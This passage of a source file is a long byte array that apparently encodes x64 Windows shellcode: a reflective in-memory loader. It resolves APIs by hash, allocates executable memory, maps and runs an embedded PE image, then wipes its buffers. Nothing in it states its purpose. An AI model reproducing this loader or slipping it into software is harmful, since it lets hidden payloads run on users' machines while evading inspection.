                0xEB, 0x9B, 0x4C, 0x29, 0xE2, 0x48, 0x89, 0x15, 0x0B, 0x05, 0x00, 0x00, 0x48, 0xBA, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x48, 0x83,
                0xEC, 0x40, 0xFF, 0x15, 0x3C, 0x05, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x48, 0x85, 0xC0, 0x74, 0x5B, 0x48, 0x89, 0x05, 0xEC, 0x04, 0x00, 0x00, 0xC6, 0x80, 0x80,
                0x00, 0x00, 0x00, 0xC3, 0x48, 0x31, 0xC9, 0x51, 0x6A, 0x01, 0xFF, 0x35, 0xC9, 0x04, 0x00, 0x00, 0x51, 0x4C, 0x8D, 0x88, 0x80, 0x00, 0x00, 0x00, 0x4D, 0x31, 0xC0,
                0x48, 0x8B, 0x15, 0xBF, 0x04, 0x00, 0x00, 0x48, 0x89, 0xC1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x02, 0x05, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x4D, 0x31, 0xC9,
                0x4D, 0x31, 0xC0, 0x48, 0x31, 0xD2, 0x48, 0x8B, 0x0D, 0xA6, 0x04, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0xEC, 0x04, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20,
                0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0x0D, 0x4D, 0x04, 0x00, 0x00, 0xFF, 0x15, 0xAF, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x0D, 0x38, 0x04, 0x00, 0x00, 0xFF, 0x15, 0xAA,
                0x04, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x31, 0xC0, 0x48, 0x8D, 0x3D, 0x9A, 0xFC, 0xFF, 0xFF, 0x48, 0xB9, 0x70, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0xF3, 0xAA, 0x48, 0x8D, 0x3D, 0x2A, 0x00, 0x00, 0x00, 0x48, 0xB9, 0xD3, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x03, 0x0D, 0xE4, 0x04, 0x00, 0x00, 0xF3,
                0xAA, 0x58, 0x58, 0x5E, 0x5F, 0x5D, 0x5A, 0x59, 0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x48, 0x89, 0xC4, 0x48, 0x31, 0xC0, 0xC3, 0x53, 0x56, 0x51,
                0x52, 0x48, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0x48, 0x8D, 0x15, 0xD1, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x17, 0x04,
                0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0xDD, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x35, 0xB3, 0x03, 0x00, 0x00, 0x48, 0x31, 0xDB, 0x8B, 0x1D,
                0x66, 0x04, 0x00, 0x00, 0x8B, 0x04, 0x1E, 0x83, 0xF8, 0x02, 0x0F, 0x8C, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0xE9, 0x03,
                0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0xE8, 0x57, 0x02, 0x00, 0x00, 0x8B, 0x0D, 0x5A, 0x04, 0x00, 0x00, 0x39, 0xC8, 0x0F, 0x85, 0x8C, 0x00, 0x00, 0x00, 0x48, 0x8D,
                0x15, 0x7B, 0x03, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0xC6, 0x03, 0x00, 0x00, 0x48, 0x89, 0xF1, 0xFF, 0x15, 0xC5, 0x03, 0x00, 0x00,
                0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x74, 0x49, 0x48, 0x31, 0xDB, 0x8B, 0x1D, 0x0B, 0x04, 0x00, 0x00, 0x48, 0x8B, 0x04, 0x18, 0x48, 0x85, 0xC0, 0x74, 0x37,
                0x48, 0x31, 0xC9, 0x8B, 0x1D, 0xFD, 0x03, 0x00, 0x00, 0x66, 0x8B, 0x0C, 0x18, 0x48, 0x8B, 0x44, 0x18, 0x08, 0x48, 0x85, 0xC0, 0x74, 0x20, 0x48, 0x31, 0xDB, 0x8B,
                0x1D, 0x02, 0x04, 0x00, 0x00, 0x48, 0x29, 0xD9, 0x7C, 0x12, 0x48, 0x01, 0xC8, 0xE8, 0x2B, 0x02, 0x00, 0x00, 0x8B, 0x0D, 0xEB, 0x03, 0x00, 0x00, 0x39, 0xC8, 0x74,
                0x3F, 0x31, 0xC0, 0x89, 0x05, 0x03, 0x03, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x04, 0x03, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x62, 0x03, 0x00, 0x00, 0x48,
                0x83, 0xC4, 0x20, 0x48, 0x89, 0xF1, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x59, 0x03, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 0x59, 0x81, 0xF9, 0x00, 0x00, 0x01, 0x00,
                0x7F, 0x0E, 0x83, 0xC1, 0x04, 0xE9, 0xF3, 0xFE, 0xFF, 0xFF, 0x59, 0x48, 0x89, 0xF0, 0xEB, 0x03, 0x48, 0x31, 0xC0, 0x5A, 0x59, 0x5E, 0x5B, 0xC3, 0x48, 0x8B, 0x35,
                0xB7, 0x02, 0x00, 0x00, 0x8B, 0x0D, 0x79, 0x03, 0x00, 0x00, 0x48, 0x01, 0xCE, 0x48, 0x8B, 0x16, 0x8B, 0x05, 0x5D, 0x03, 0x00, 0x00, 0x48, 0x29, 0xC2, 0x48, 0x31,
                0xC0, 0x48, 0xFF, 0xC8, 0x48, 0xC1, 0xE0, 0x2C, 0x48, 0x8B, 0x12, 0x48, 0x39, 0xC2, 0x72, 0x0B, 0xB8, 0xE8, 0x03, 0x00, 0x00, 0x89, 0x05, 0x3D, 0x03, 0x00, 0x00,
                0xC3, 0x56, 0x51, 0x52, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x15, 0x1F, 0x03, 0x00, 0x00, 0x48, 0x89, 0xC6, 0x8B, 0x05, 0x36, 0x03, 0x00, 0x00, 0x48, 0x01, 0xC6, 0xFF,
                0x15, 0x05, 0x03, 0x00, 0x00, 0x48, 0x89, 0xF1, 0x48, 0x39, 0xF0, 0x77, 0x17, 0x48, 0x8D, 0x90, 0x00, 0x05, 0x00, 0x00, 0x48, 0x39, 0xF2, 0x72, 0x0B, 0x48, 0x29,
                0xC6, 0x89, 0x35, 0x00, 0x03, 0x00, 0x00, 0xEB, 0x08, 0x48, 0x8B, 0x36, 0x48, 0x39, 0xCE, 0x75, 0xDC, 0x48, 0x83, 0xC4, 0x20, 0x5A, 0x59, 0x5E, 0xC3, 0x53, 0x52,
                0x51, 0x55, 0x48, 0x89, 0xE5, 0x48, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0x57, 0x48, 0x89, 0xCF, 0x48, 0x89, 0xD8, 0x48, 0x89, 0x85, 0x00, 0xFF, 0xFF, 0xFF, 0xE8,
                0xBB, 0x00, 0x00, 0x00, 0x48, 0x89, 0x85, 0x08, 0xFF, 0xFF, 0xFF, 0xE8, 0x48, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x10, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x00,
                0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x8D, 0x08, 0xFF, 0xFF, 0xFF, 0xE8, 0x9A, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x18, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x00, 0xFF,
                0xFF, 0xFF, 0x48, 0x8B, 0x8D, 0x08, 0xFF, 0xFF, 0xFF, 0xE8, 0x8F, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x20, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x00, 0xFF, 0xFF,
                0xFF, 0x48, 0x8B, 0x8D, 0x08, 0xFF, 0xFF, 0xFF, 0xE8, 0x84, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x00, 0xFF, 0xFF, 0xFF,
                0x48, 0x89, 0xF9, 0x48, 0x8B, 0x95, 0x20, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x9D, 0x10, 0xFF, 0xFF, 0xFF, 0xE8, 0x0F, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x30, 0xFF,
                0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x28, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x8D, 0x30, 0xFF, 0xFF, 0xFF, 0xE8, 0x55, 0x01, 0x00, 0x00, 0x66, 0x89, 0xC2, 0x48, 0x8B, 0x85,
                0x00, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x8D, 0x18, 0xFF, 0xFF, 0xFF, 0xE8, 0x49, 0x01, 0x00, 0x00, 0x5F, 0x48, 0x81, 0xC4, 0x00, 0x01, 0x00, 0x00, 0x5D, 0x59, 0x5A,
                0x5B, 0xC3, 0x56, 0x57, 0x48, 0x31, 0xF6, 0x8B, 0x70, 0x3C, 0x48, 0x01, 0xC6, 0x66, 0x81, 0x3E, 0x50, 0x45, 0x75, 0x12, 0x48, 0x81, 0xC6, 0x88, 0x00, 0x00, 0x00,
                0x48, 0x31, 0xFF, 0x8B, 0x3E, 0x48, 0x01, 0xF8, 0x5F, 0x5E, 0xC3, 0x48, 0x31, 0xC0, 0xEB, 0xF8, 0x56, 0x51, 0x57, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0, 0x89, 0xC7,
                0xC1, 0xE7, 0x07, 0x29, 0xC7, 0x89, 0xF8, 0x31, 0xC9, 0x8A, 0x0E, 0x80, 0xF9, 0x00, 0x74, 0x07, 0x01, 0xC8, 0x48, 0xFF, 0xC6, 0xEB, 0xE7, 0x5F, 0x59, 0x5E, 0xC3,
                0x56, 0x57, 0x52, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0, 0x89, 0xC7, 0xC1, 0xE7, 0x07, 0x29, 0xC7, 0x89, 0xF8, 0x31, 0xD2, 0x8A, 0x16, 0x01, 0xD0, 0x48, 0xFF, 0xC6,
                0xE2, 0xEC, 0x5A, 0x5F, 0x5E, 0xC3, 0x56, 0x51, 0x57, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0, 0x89, 0xC7, 0xC1, 0xE7, 0x07, 0x29, 0xC7, 0x89, 0xF8, 0x31, 0xC9, 0x8A,
                0x0E, 0x80, 0xF9, 0x00, 0x74, 0x0A, 0x01, 0xC8, 0x48, 0xFF, 0xC6, 0x48, 0xFF, 0xC6, 0xEB, 0xE4, 0x5F, 0x59, 0x5E, 0xC3, 0x56, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC6,
                0x18, 0x48, 0x31, 0xC0, 0x8B, 0x06, 0x5E, 0xC3, 0x53, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x38, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x04, 0x48, 0xC1, 0xE8, 0x0C, 0x48,
                0xC1, 0xE0, 0x0C, 0x48, 0x8B, 0x18, 0x66, 0x81, 0xFB, 0x4D, 0x5A, 0x74, 0x08, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0xEB, 0xEE, 0x5B, 0xC3, 0x57, 0x56, 0x51, 0x48,
                0x31, 0xFF, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0, 0x8B, 0x04, 0xBA, 0x48, 0x01, 0xF0, 0xE8, 0x40, 0xFF, 0xFF, 0xFF, 0x39, 0xC8, 0x74, 0x0E, 0x48, 0xFF, 0xC7, 0x48,
                0x39, 0xDF, 0x74, 0x0B, 0xEB, 0xE4, 0x59, 0x5E, 0x5F, 0xC3, 0x48, 0x89, 0xF8, 0xEB, 0xF7, 0x48, 0x31, 0xC0, 0xEB, 0xF2, 0x56, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0,
                0x8B, 0x41, 0x1C, 0x48, 0x01, 0xF0, 0x5E, 0xC3, 0x56, 0x48, 0x89, 0xC6, 0x48, 0x31, 0xC0, 0x8B, 0x41, 0x20, 0x48, 0x01, 0xF0, 0x5E, 0xC3, 0x56, 0x48, 0x89, 0xC6,
                0x48, 0x31, 0xC0, 0x8B, 0x41, 0x24, 0x48, 0x01, 0xF0, 0x5E, 0xC3, 0x48, 0xD1, 0xE1, 0x48, 0x01, 0xC8, 0x66, 0x8B, 0x00, 0xC3, 0x48, 0x81, 0xCA, 0x00, 0x00, 0xFF,
                0xFF, 0x48, 0x81, 0xF2, 0x00, 0x00, 0xFF, 0xFF, 0x48, 0xC1, 0xE2, 0x02, 0x48, 0x01, 0xD1, 0x48, 0x31, 0xD2, 0x8B, 0x11, 0x48, 0x01, 0xD0, 0xC3, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x03, 0x00, 0x00,
                0x20, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x08, 0x03, 0x00, 0x00, 0x4C, 0x00, 0x00, 0x00, 0xC8, 0x02, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xBD, 0xA2, 0x37,
                0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,
                0x41, 0x57, 0x48, 0x89, 0xE0, 0x48, 0x89, 0xE1, 0x48, 0x83, 0xE1, 0x08, 0x48, 0x29, 0xCC, 0x48, 0x81, 0xEC, 0x00, 0x04, 0x00, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00,
                0x5D, 0x48, 0x89, 0xE6, 0x48, 0x89, 0x06, 0x48, 0x81, 0xEC, 0x00, 0x04, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0xD2, 0x0E, 0x00, 0x00, 0x49, 0x89, 0xF0, 0x48, 0x83, 0xC6,
                0x08, 0x48, 0x31, 0xC9, 0x8A, 0x0F, 0x84, 0xC9, 0x74, 0x3F, 0x48, 0xFF, 0xC7, 0x8B, 0x0F, 0x48, 0x83, 0xC7, 0x04, 0x8B, 0x17, 0x48, 0x83, 0xC7, 0x04, 0x84, 0xD2,
                0x74, 0x2C, 0xE8, 0xD4, 0x0D, 0x00, 0x00, 0x51, 0x0F, 0xB6, 0x0F, 0x48, 0x85, 0xC9, 0x59, 0x75, 0x09, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xB9, 0x0D, 0x00, 0x00, 0x48,
                0x89, 0x06, 0x48, 0x83, 0xC6, 0x08, 0x30, 0xC0, 0x48, 0x83, 0xC7, 0x01, 0x3A, 0x47, 0x04, 0x74, 0xCC, 0xEB, 0xB8, 0x4C, 0x89, 0xC6, 0x48, 0x89, 0x25, 0x3D, 0x0D,
                0x00, 0x00, 0x48, 0x89, 0x2D, 0x3E, 0x0D, 0x00, 0x00, 0x48, 0x89, 0x35, 0x3F, 0x0D, 0x00, 0x00, 0x90, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x4D, 0x31, 0xC9, 0x49,
                0x89, 0xC8, 0x48, 0x31, 0xD2, 0xB2, 0x01, 0x48, 0x8D, 0x0D, 0x2E, 0x0D, 0x00, 0x00, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x49, 0xB9,
                0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xD2, 0x8B, 0x95, 0x5D, 0x0F, 0x00, 0x00,
                0x48, 0x31, 0xC9, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x08, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0xCF, 0x0C, 0x00, 0x00, 0x48, 0x89, 0xC3, 0x56,
                0x8B, 0x8D, 0x5D, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x35, 0x80, 0x0E, 0x00, 0x00, 0x48, 0x89, 0xDF, 0xF3, 0xA4, 0x5E, 0x48, 0x89, 0x5E, 0x48, 0x48, 0x31, 0xC0, 0x8B,
                0x85, 0x5D, 0x0F, 0x00, 0x00, 0x48, 0x89, 0x46, 0x50, 0x48, 0x31, 0xC9, 0x8B, 0x8D, 0x5D, 0x0F, 0x00, 0x00, 0x48, 0x8D, 0x3D, 0x59, 0x0E, 0x00, 0x00, 0x31, 0xC0,
                0xF3, 0xAA, 0x48, 0x31, 0xC0, 0x48, 0x89, 0x46, 0x58, 0x48, 0x89, 0x46, 0x60, 0x48, 0x89, 0x46, 0x68, 0x48, 0x8D, 0x05, 0x77, 0x09, 0x00, 0x00, 0x48, 0x89, 0x05,
                0xC4, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x71, 0x09, 0x00, 0x00, 0x48, 0x89, 0x05, 0xBE, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x78, 0x09, 0x00, 0x00, 0x48, 0x89,
                0x05, 0xB8, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x86, 0x09, 0x00, 0x00, 0x48, 0x89, 0x05, 0xB2, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x05, 0xA7, 0x08, 0x00, 0x00, 0x48,
                0x89, 0x05, 0xAC, 0x02, 0x00, 0x00, 0x55, 0x48, 0x8D, 0x2D, 0xD6, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x48, 0xE8, 0xA3, 0x02, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F,
                0x85, 0x13, 0x01, 0x00, 0x00, 0xE8, 0x1A, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x84, 0x05, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x20, 0x48, 0x8B, 0x7D, 0x08,
                0x48, 0x83, 0xC7, 0x30, 0x48, 0x8B, 0x3F, 0x48, 0x8B, 0x45, 0x20, 0x48, 0x29, 0xF8, 0x48, 0x89, 0x45, 0x28, 0xE8, 0x64, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F,
                0x85, 0xDD, 0x00, 0x00, 0x00, 0xE8, 0xE6, 0x03, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0xCF, 0x00, 0x00, 0x00, 0xE8, 0x4E, 0x05, 0x00, 0x00, 0x48, 0x85, 0xC0,
                0x0F, 0x85, 0xC1, 0x00, 0x00, 0x00, 0xE8, 0x57, 0x05, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0xB3, 0x00, 0x00, 0x00, 0xE8, 0x57, 0x06, 0x00, 0x00, 0x48, 0x85,
                0xC0, 0x0F, 0x85, 0xA5, 0x00, 0x00, 0x00, 0xE8, 0xBA, 0x06, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x0F, 0x85, 0x97, 0x00, 0x00, 0x00, 0xE8, 0xC6, 0x07, 0x00, 0x00, 0x48,
                0x85, 0xC0, 0x0F, 0x85, 0x89, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x45, 0x20, 0x48, 0x89, 0x46, 0x70, 0x48, 0x8B, 0x45, 0x18, 0x48, 0x89, 0x46, 0x78, 0x5D, 0x8B, 0x85,
                0x61, 0x0F, 0x00, 0x00, 0x89, 0x86, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, 0x70, 0x48, 0x63, 0x42, 0x3C, 0x48, 0x8D, 0x9C, 0x10, 0x88, 0x00, 0x00, 0x00, 0x48,
                0x85, 0xDB, 0x74, 0x48, 0x8B, 0x1B, 0x48, 0x01, 0xD3, 0x83, 0x7B, 0x14, 0x00, 0x74, 0x3D, 0x8B, 0xBE, 0x80, 0x00, 0x00, 0x00, 0x2B, 0x7B, 0x10, 0x3B, 0x7B, 0x14,
                0x7F, 0x2F, 0x8B, 0x4B, 0x1C, 0x48, 0x01, 0xD1, 0x8B, 0x04, 0xB9, 0x48, 0x01, 0xD0, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x46, 0x50, 0x48, 0x8B, 0x56, 0x48, 0x48,
                0xB9, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x89, 0x86, 0x88, 0x00, 0x00, 0x00, 0x55, 0x48, 0x8D, 0x2D, 0xB8,
                0x00, 0x00, 0x00, 0xE8, 0x28, 0x07, 0x00, 0x00, 0xEB, 0x00, 0x48, 0x8B, 0x4D, 0x78, 0x48, 0x85, 0xC9, 0x74, 0x0B, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x40, 0x48,
                0x83, 0xC4, 0x20, 0x48, 0x8B, 0x7D, 0x20, 0x48, 0x85, 0xFF, 0x0F, 0x84, 0x8A, 0x00, 0x00, 0x00, 0x4C, 0x8D, 0x8D, 0xAA, 0x00, 0x00, 0x00, 0x49, 0xB8, 0x40, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x55, 0x50, 0x48, 0x8B, 0x4D, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85,
                0xC0, 0x74, 0x09, 0x48, 0x8B, 0x4D, 0x50, 0x48, 0x31, 0xC0, 0xF3, 0xAA, 0x49, 0xB8, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBA, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x10, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x8B, 0x7D, 0x60, 0x48, 0x85, 0xFF,
                0x74, 0x2C, 0x48, 0x8B, 0x4D, 0x68, 0x48, 0x31, 0xC0, 0xF3, 0xAA, 0x49, 0xB8, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xBA, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x60, 0x48, 0x83, 0xEC, 0x20, 0xFF, 0x56, 0x10, 0x48, 0x83, 0xC4, 0x20, 0x5D, 0xE9, 0x60, 0x0A, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
                0xFF, 0xE9, 0x2E, 0xFC, 0xFF, 0xFF, 0x6D, 0x73, 0x76, 0x63, 0x72, 0x74, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x6D, 0x73, 0x76, 0x63, 0x72, 0x74, 0x64, 0x2E, 0x64, 0x6C,
                0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x52, 0x53, 0x48,
                0x89, 0x7D, 0x00, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x00, 0x66, 0x8B, 0x1A, 0x66, 0x81, 0xFB, 0x4D, 0x5A, 0x75, 0x63, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x3C,
                0x48, 0x31, 0xDB, 0x8B, 0x1A, 0x48, 0x01, 0xDF, 0x48, 0x89, 0x7D, 0x08, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x00, 0x8B, 0x1A, 0x81, 0xFB, 0x50, 0x45, 0x00, 0x00,
                0x75, 0x3F, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x18, 0x66, 0x8B, 0x1A, 0x66, 0x81, 0xFB, 0x0B, 0x02, 0x75, 0x2E, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x14, 0x48,
                0x31, 0xDB, 0x66, 0x8B, 0x1A, 0x48, 0x89, 0xFA, 0x48, 0x83, 0xC2, 0x18, 0x48, 0x01, 0xDA, 0x48, 0x89, 0x55, 0x10, 0x48, 0x89, 0xFA, 0x48, 0x81, 0xC2, 0x88, 0x00,
                0x00, 0x00, 0x48, 0x89, 0x55, 0x18, 0x48, 0x31, 0xC0, 0xEB, 0x06, 0x48, 0x31, 0xC0, 0x48, 0xF7, 0xD0, 0x5B, 0x5A, 0x5F, 0xC3, 0x57, 0x52, 0x53, 0x48, 0x8B, 0x7D,
                0x08, 0x48, 0x83, 0xC7, 0x50, 0x48, 0x31, 0xDB, 0x8B, 0x1F, 0x48, 0x89, 0x5D, 0x50, 0x48, 0x8B, 0x7D, 0x08, 0x48, 0x83, 0xC7, 0x30, 0x48, 0x8B, 0x17, 0x49, 0xB9,
                0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xB8, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xDA, 0x48, 0x83, 0xEC,
                0x20, 0xFF, 0x56, 0x08, 0x48, 0x83, 0xC4, 0x20, 0x48, 0x85, 0xC0, 0x75, 0x25, 0x49, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0xB8, 0x00, 0x30,
